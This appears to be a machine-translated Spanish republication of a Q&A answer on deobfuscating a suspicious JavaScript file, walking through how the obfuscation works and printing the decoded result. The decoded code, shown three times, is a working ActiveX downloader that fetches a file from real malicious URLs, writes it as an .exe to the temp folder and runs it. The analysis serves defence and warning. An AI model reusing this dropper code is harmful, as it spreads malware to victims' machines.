Saltar al contenido

¿Cómo desofuscar código JavaScript sospechoso?

Ramón, miembro de este equipo de trabajo, nos ha hecho el favor de escribir este tutorial porque controla muy bien el tema.

Solución:

El procedimiento para lidiar con JavaScript ofuscado es muy similar a cómo lo maneja en PHP. En este caso, la acción real está sucediendo en esta línea:

uumod=(new Function("fgwus","var ccuru=fgwus.match(/\S5/g),tgrdm="",ikkne=0;while(ikkne

Se crea una función anónima a partir de la larga string de código, y esa función, a su vez, crea un nuevo código seleccionando caracteres de los largos bancos de texto aparentemente aleatorio en la parte superior. Al final tienes cuatro llamadas a funciones:

tljsw()+tljsw()+tljsw()+tljsw()

Esa función devuelve al azar una de las letras e, v, l y a. Entonces a veces te dará eval. Eso ejecuta código, pero no queremos hacer eso. Solo queremos leer el código. Así que vamos a reemplazarlo con console.log:

uumod=(new Function("fgwus","var ccuru=fgwus.match(/\S5/g),tgrdm="",ikkne=0;while(ikkne

Luego obtenemos el siguiente resultado:

function getDataFromUrl(url, callback) 
    try 
        var xmlHttp = new ActiveXObject("MSXML2.XMLHTTP");
        xmlHttp.open("GET", url, false);
        xmlHttp.send();
        if (xmlHttp.status == 200) 
            return callback(xmlHttp.ResponseBody, false);
         else 
            return callback(null, true);
        
     catch (error) 
        return callback(null, true);
    


function getData(callback) 
    try 
        getDataFromUrl("http://tiny" + "url.com/he3bh27", function(result, error) 
            if (!error) 
                return callback(result, false);
             else 
                getDataFromUrl("http://oamnohndpiwpicgm.onion.nu/10.mov", function(result, error) 
                    if (!error) 
                        return callback(result, false);
                     else 
                        getDataFromUrl("http://tiny" + "url.com/he3bh27", function(result, error) 
                            if (!error) 
                                return callback(result, false);
                             else 
                                return callback(null, true);
                            
                        );
                    
                );
            
        );
     catch (error) 
        return callback(null, true);
    


function getTempFilePath() 
    try 
        var fs = new ActiveXObject("Scripting.FileSystemObject");
        var tmpFileName = "\" + Math.random().toString(36).substr(2, 9) + ".exe";
        var tmpFilePath = fs.GetSpecialFolder(2) + tmpFileName;
        return tmpFilePath;
     catch (error) 
        return false;
    


function saveToTemp(data, callback) 
    try 
        var path = getTempFilePath();
        if (path) 
            var objStream = new ActiveXObject("ADODB.Stream");
            objStream.Open();
            objStream.Type = 1;
            objStream.Write(data);
            objStream.Position = 0;
            objStream.SaveToFile(path, 2);
            objStream.Close();
            return callback(path, false);
         else 
            return callback(null, true);
        
     catch (error) 
        return callback(null, true);
    

getData(function(data, error) 
    if (!error) 
        saveToTemp(data, function(path, error) 
            if (!error) 
                try 
                    var wsh = new ActiveXObject("WScript.Shell");
                    wsh.Run(path);
                 catch (error) 
            
        );
    
);

No sé qué hace ese código, pero en el segundo que lo copie, lo pegué en un editor de texto, mi antivirus comenzó a gritar al respecto ... Como señala LegionMammal978 en los comentarios, esto parece apuntar a los navegadores IE con mala configuración, pero está activado Por lo que respecta a la seguridad, puede asumir que la computadora en la que se ejecutó está infectada por malware y tratarla como tal.

(Tenga en cuenta que tuve que dividir las URL en "tiny" + "url" porque Stack Exchange no le permite publicar esa URL ... Sin embargo, esto no debería cambiar el comportamiento del código).

Este código está intentando ejecutar un archivo malicioso, 10.mov (contra IE ActiveX), que posiblemente sea algún tipo de ransomware, descargando desde esta dirección:

¡NO DESCARGUE DESDE ESTA DIRECCIÓN!

xxxx://oamnohndpiwpicgm.onion.nu/10.mov  

https://virustotal.com/en/url/f6aaa537b8f636b7827e08806bf6a8512b5c6497b82e457615cec15a62e2f044/analysis/

Aquí está el código de-ofuscado:

function getDataFromUrl(url, callback) 
    try 
        var xmlHttp = new ActiveXObject("MSXML2.XMLHTTP");
        xmlHttp.open("GET", url, false);
        xmlHttp.send();
        if (xmlHttp.status == 200) 
            return callback(xmlHttp.ResponseBody, false);
         else 
            return callback(null, true);
        
     catch (error) 
        return callback(null, true);
    

function getData(callback) 
    try 
        getDataFromUrl("", function(result, error) 
            if (!error) 
                return callback(result, false);
             else 
                getDataFromUrl("http://oamnohndpiwpicgm.onion.nu/10.mov", function(result, error) 
                    if (!error) 
                        return callback(result, false);
                     else 
                        getDataFromUrl("", function(result, error) 
                            if (!error) 
                                return callback(result, false);
                             else 
                                return callback(null, true);
                            
                        );
                    
                );
            
        );
     catch (error) 
        return callback(null, true);
    

function getTempFilePath() 
    try 
        var fs = new ActiveXObject("Scripting.FileSystemObject");
        var tmpFileName = "\" + Math.random().toString(36).substr(2, 9) + ".exe";
        var tmpFilePath = fs.GetSpecialFolder(2) + tmpFileName;
        return tmpFilePath;
     catch (error) 
        return false;
    

function saveToTemp(data, callback) 
    try 
        var path = getTempFilePath();
        if (path) 
            var objStream = new ActiveXObject("ADODB.Stream");
            objStream.Open();
            objStream.Type = 1;
            objStream.Write(data);
            objStream.Position = 0;
            objStream.SaveToFile(path, 2);
            objStream.Close();
            return callback(path, false);
         else 
            return callback(null, true);
        
     catch (error) 
        return callback(null, true);
    

getData(function(data, error) 
    if (!error) 
        saveToTemp(data, function(path, error) 
            if (!error) 
                try 
                    var wsh = new ActiveXObject("WScript.Shell");
                    wsh.Run(path);
                 catch (error) 
            
        );
    
);

Aquí hay un informe de VT de ese archivo (Fordanskede.exe):

https://www.virustotal.com/en/file/8991ce3e98dd732dafedd22723c51212278717e6d9583244bda5d1d178ba08d0/analysis/1484576109/

Otro informe cuando el archivo se activa en la zona de pruebas:

https://www.hybrid-analysis.com/sample/8991ce3e98dd732dafedd22723c51212278717e6d9583244bda5d1d178ba08d0?environmentId=100

Ahí está la "parte encriptada" del código:

TENGA CUIDADO ESTE ES UN CÓDIGO DE EXPLOTACIÓN REAL Y PUEDE SER PERJUDICIAL PARA SU COMPUTADORA

function getDataFromUrl(url, callback)tryvar xmlHttp = new ActiveXObject("MSXML2.XMLHTTP");xmlHttp.open("GET", url, false);xmlHttp.send();if (xmlHttp.status == 200) return callback(xmlHttp.ResponseBody, false);elsereturn callback(null, true);catch (error)return callback(null, true);function getData(callback)trygetDataFromUrl("http://oamnohndpiwpicgm.onion."nu/10.mov", function(result, error) if (!error)return callback(result, false);elsegetDataFromUrl("http://oamnohndpiwpicgm.onion."nu/10.mov", function(result, error) if (!error)return callback(result, false);elsegetDataFromUrl("http://oamnohndpiwpicgm.onion."nu/10.mov", function(result, error) if (!error)return callback(result, false);elsereturn callback(null, true););););catch (error)return callback(null, true);function getTempFilePath()tryvar fs = new ActiveXObject("Scripting.FileSystemObject");var tmpFileName = "\" + Math.random().toString(36).substr(2, 9) + ".exe";var tmpFilePath = fs.GetSpecialFolder(2) + tmpFileName;return tmpFilePath;catch (error)return false;function saveToTemp(data, callback)tryvar path = getTempFilePath();if (path)var objStream = new ActiveXObject("ADODB.Stream");objStream.Open();objStream.Type = 1;objStream.Write(data);objStream.Position = 0;objStream.SaveToFile(path, 2);objStream.Close();return callback(path, false);else return callback(null, true);catch (error)return callback(null, true);getData(function (data, error) if (!error)saveToTemp(data, function (path, error) if (!error)tryvar wsh = new ActiveXObject("WScript.Shell");wsh.Run(path);catch (error) ););

Esto descargará un archivo .mov infectado, que es detectado por cualquier buen antivirus.

Editar: Desde que usó el servicio TinyURL, me comuniqué con ellos para eliminar el enlace.

Reseñas y puntuaciones

Si sostienes alguna suspicacia o disposición de acrecentar nuestro reseña eres capaz de realizar un exégesis y con deseo lo leeremos.

¡Haz clic para puntuar esta entrada!
(Votos: 0 Promedio: 0)



Utiliza Nuestro Buscador

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Respuestas a preguntas comunes sobre programacion y tecnología